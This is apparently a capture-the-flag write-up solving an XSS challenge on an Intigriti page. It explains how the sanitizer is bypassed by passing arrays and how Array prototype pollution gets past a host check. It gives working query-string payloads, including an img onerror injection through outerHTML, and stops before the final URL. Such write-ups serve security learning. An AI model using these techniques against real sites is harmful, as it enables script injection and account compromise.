The challenge requires to craft a URL which will trigger an XSS when clicked by the victim (without any additional user interaction).
When we visit the challenge page we get the following form (with a nice and nostalgic Windows XP layout):
We immediately see that if we try to fill the form with random HTML tags (let's say <h1>), a GET request is performed and our input is appended to the query string as follow (for clarity, I'm showing the URL decoded version of the actual GET request, which is URL encoded):
https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name]=<h1>cool</h1>&config[window-content]=<h1>cool</h1>&config[window-statusbar]=true
As we can see below, the window name and the window content fields are reflected in the response page, however there should be a sanitize function which replaces some characters with _ :
We can confirm it looking at the source code of the main page:
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}The sanitize function replaces some dangerous characters (and the script tag) from our input; however we can also see that this "sanitization" is only performed if we pass a string, otherwise the same input data is returned without any modification. So if we pass an array instead of a single value, we should be able to bypass the sanitization.
Let's try it:
https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name][]=<h1>cool</h1>&config[window-content][]=<h1>cool</h1>&config[window-statusbar]=true
And yes, we are able to bypass the sanitize function, but unfortunately our HTML tag is not rendered:
The reason is that our payload is set as simple text (so it's not rendered as HTML tag by our browser) and we can confirm it by inspecting the properties of the element:
At this point it's clear that we need to look somewhere else to solve this challenge.
If we look at the script included within the main page, at the beginning of the main() function we find the following interesting code:
function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
merge(appConfig, qs.config)
appConfig["customMode"] = true
}So basically our query string is being parsed and then a function merge is called (with our input as argument).
When there is some kind of "merging" process between an object and some user input, we should start thinking about prototype pollution. Prototype pollution is a vulnerability that allows an attacker to "pollute" the prototype object with arbitrary values, so that any other object with the same prototype will inherit our "polluted" values (JavaScript is a prototype-based programming language).
If we continue to analyze the source code we see:
if (checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
...
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}We can see that the devSettings object contains the root property which is the root element of our HTML page that is passed to the mount function together with our inputs. So if we can somehow get control of the devSettings object, we could modify it to achieve XSS (i.e. by injecting our payload to an existing HTML element). We can do it by leveraging the merge function, but the problem is that we need to reach the merge(devSettings, qs.settings) call, which is "protected" by the checkHost() function.
So putting all together, we need to:
- Bypass the
checkHost()function to reach the call tomerge(devSettings, qs.settings) - Find a way to properly overwrite the
devSettingsobject in order to achieve XSS
We need to bypass the following function:
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}In our case we are interested to satisfy the condition hostname === 'localhost' || port === 8080 so that the function will return true.
In order to bypass the checkHost() function, we can exploit a prototype pollution vulnerability within the merge function.
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}In this function, our source input is "merged" with the target object, so if we can pollute the Array prototype we could "pollute" also the temp array (it will inherit the "polluted" property) which is used to check the condition we are interested to.
It turns out that config[window-toolbar] is an array, so we can use it to pollute the Array prototype.
Since the __proto__ keyword is denied, we need to find a different way to pollute the Array prototype, which can be done by using the following payload:
config[window-toolbar][constructor][prototype][1]=8080
We are using the constructor and prototype properties of the window-toolbar array, to reach the Array prototype and set the value 8080 for the 2nd element (at index 1).
In this way, the checkHost() function will now return true because Number(temp[1]) will resolve to the integer 8080 (temp "inherited" the value 8080 at index 1 from its prototype).
Now we can control also the devSettings object (merge is called again), which is used when building the page.
We need to find a way to inject some JavaScript code wich will be triggered when the user visits the link. I guess this step can be done in several ways, but I found the following payload working fine:
settings[root][ownerDocument][body][children][1][outerHTML][0]=<img src=n onerror alert(document.domain)> (we only need to urlEncode the payload before sending it)
We are basically overwriting the outerHTML property of the 2nd HTLM element (at index 1) of the body element with an invalid <img> tag which will trigger alert(document.domain).
We also had to add the [0] at the end of outerHTML element so that we can bypass the sanitize function (which will not replace contents if the input is not a string, in our case it's an array).
So the final payload is the following (the last parameter is not needed :) ):




